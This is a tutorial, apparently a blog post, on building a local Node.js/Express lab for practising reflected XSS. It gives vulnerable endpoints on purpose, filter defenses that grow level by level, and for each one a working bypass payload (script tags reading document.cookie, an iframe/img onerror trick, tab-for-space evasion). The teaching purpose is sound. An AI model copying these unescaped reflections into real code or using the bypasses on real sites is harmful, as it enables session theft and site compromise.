Hello Friend, Today I'm Going To Explain How Can You Make Your Own Simple XSS Lab and LevelUP With the Logic Defenses You Create To Prevent the Execution of XSS, Then You Will Search For Another Way To Escape It and So On.

Requirements To Make the LAB :

  • Nodejs Installed
  • Express Framework
  • Crypto Module

Linux :

sudo apt update -y && sudo apt upgrade -y
sudo apt install nodejs npm

Windows :

Download EXE : https://nodejs.org/en/download

Installing Express :

npm init -y
npm install express crypto-js

Note: It's Recommend To Have a Basic Knowledge of JS (It's a Must for an Attacker) . During, the Testing We Will Add More Directories For More Levels . If You Got Stuck Let the AI Help You ! . Another Tip, To Get the Full Thing from this Practice Act Like You Didn't See the Code Because in Real Situations Most of the Time You Cannot See NodeJs (Backend) Files .

TIP :

the Place of the Reflected Parameter Always Matter Than the Payload !

Port Swigger XSS Cheat Sheet : (From the Best)

Main Simple Code :

const express = require('express');
const app = express();
const PORT = 3000;

app.get('/xss', (req, res) => {
    const name = req.query.name || 'Guest';
    res.send(`
        <h1>Welcome, ${name}</h1>
        <p style="color: red">Hello To Our Community</p>
    `);
});

app.listen(PORT, () => {
    console.log(`XSS Lab running at http://localhost:${PORT}`);
    console.log(`Try: http://localhost:${PORT}/xss?name=<XSS-STUFF>`);
});

Run the Code :

node vulnxss.js
None
Run it
None
Name d0natel00 Reflected in the Web Page Between <h1> Tags

Exploit Payload :

</h1><script>alert(`ReflectedXSS-Achieved:%20${document.cookie||"No%20Cookie"}`)</script><h1>
None
Reflected XSS (Very Easy)

First Defense : (Bad Hash Signs)

Make the Value of the User Input Hashed Into MD5, And Compare With Other Bad Known Payload Hashes . If It's on the List Blocked the Request, If not Make it Pass .

NEW :

const express = require('express');
const app = express();
const CryptoJs = require('crypto-js');
const PORT = 3000;

function checkBLOCKMD5(text) {
    const md5hash = CryptoJs.MD5(text).toString();
    const blacklist = ['adb831a7fdd83dd1e2a309ce7591dff8', 'ea02e39fa43dc914db8a9250c86fa57d', '3205c0ded576131ea255ad2bd38b0fb2', 'a8db33a96705c0f9ae392d55682acdb2', 'd23e93e125c833b18ab4f19a1a34bbcf', '8bdd6935b732637e48a17658bae5779d', '507ab1cafa82846b038d087e73bb610d'];
    return blacklist.includes(md5hash);
}



app.get('/xss', (req, res) => {
    const name = req.query.name || 'Guest';
    res.send(`
        <h1>Welcome, ${name}</h1>
        <p style="color: red">Hello To Our Community</p>
    `);
});

app.get('/xss2', (req, res) => {
    const name = req.query.name || 'Guest';
    if (checkBLOCKMD5(name) || checkBLOCKMD5(name.split('>')[1])) { // You Can Simply Use includes, But This is Just For Simulation Customize the Code As You want
        res.send(`Nope, You Cannot Escape !`);
    } else {
        res.send(`
            <h1>Welcome, ${name}</h1>
            <p style="color: red">Hello To Our Community</p>
        `);
    }
});

app.listen(PORT, () => {
    console.log(`XSS Lab running at http://localhost:${PORT}`);
    console.log(`Try: http://localhost:${PORT}/xss?name=<XSS-STUFF>`);
});

I Entered the Previuos Payload But It Didn't Work

None

I Tried To Change the Body of alert Function, Until I Just Put a Space Between the First Two Tags and It worked !

 </h1>%20<script>alert(`Just%20a%20Space%20Escaped%20Hash%20Signs`)</script><h1>
None
Space Bypassed Hash Signs
  • Note : You Can make this Challenge More Harder By Striping Spaces Detecting End and First Tags and Other Stuff

Second Defense : (Block <script> & Replace spaces)

Don't Just Replace script But, If the Request Has the Word script Block it Totally .

NEW :

app.get('/xss3', (req, res) => {
    const name = req.query.name.replace(' ', '') || 'Guest';
    if ((checkBLOCKMD5(name) || checkBLOCKMD5(name.split('>')[1])) || name.includes("script")) {
        res.send(`Nope, You Cannot Escape !`);
    } else {
        res.send(`
            <h1>Welcome, ${name}</h1>
            <p style="color: red">Hello To Our Community</p>
        `);
    }
});
None
Spaces and Script are Prevented

I Went Back to PortSwigger CheatSheet, and I Got Any XSS Without Script Tags

None
Anything without script Tag
</h1><iframe><img%20title="</iframe><img%20src%20onerror=alert("WeDontNeedScriptToExecuteXSS")>"></iframe><h1>
None
Execute Without Script It's Probably Filtered

There is a Mistake in the Code the Logic of Replace Function() , It Only Replaces the first Occur of Char . So, Developers Must Use replaceAll()

Third Defense : (in Double Quotes + Block <h1>)

But the Reflected String in Double Quotes So the HTML Treat it as a Text, and if <h1> Tag in the String Block the Request .

NEW :

app.get('/xss4', (req, res) => {
    const name = req.query.name.replaceAll(' ', '') || 'Guest';
    if ((checkBLOCKMD5(name) || checkBLOCKMD5(name.split('>')[1])) || (name.includes("script")) || (name.includes("<h1>"))) {
        res.send(`Nope, You Cannot Escape !`);
    } else {
        res.send(`
            <h1>Welcome, "${name}"</h1>
            <p style="color: red">Hello To Our Community</p>
        `);
    }
});

Instead of Spaces We Will Use Tabs (Trick to Bypass Spaces Filtering)

%20 (X) → %09 (True)

<br> → To Separate Stuff (Create New Tags)

><br><img%09src=x%09onerror=alert(1)><br><
None
Executed

Fourth Defense : (Replace <>) [Final Boss]

Replace Greater Than & Lower Than To Make the Attacker Unable To Create HTML Tags That Will Make the XSS Execute .

NEW :

app.get('/xss5', (req, res) => {
    const name = req.query.name.replaceAll(' ', '').replaceAll('<', '').replaceAll('>', '') || 'Guest';
    if ((checkBLOCKMD5(name) || checkBLOCKMD5(name.split('>')[1])) || (name.includes("script")) || (name.includes("<h1>"))) {
        res.send(`Nope, You Cannot Escape !`);
    } else {
        res.send(`
            <h1>Welcome, "${name}"</h1>
            <p style="color: red">Hello To Our Community</p>
        `);
    }
});
None
Cannot Escape

With Replacing < > We Can Escape That and Execute XSS Except the Reflected Payload is in Another Place in Attributes Not Inside Tags !!

Note: You Can Try More Defenses. I'm Just Giving You Ideas But, There is More .

You Can Train Instead of inside Tags Make It Attributes (More Dangerous and Common) . and Do That From Time to Time To Refresh Your Knowledge and Get Your Hands dirty in XSS .

<h1>${name}</h1>
<tag value="${name}">

Goodbye !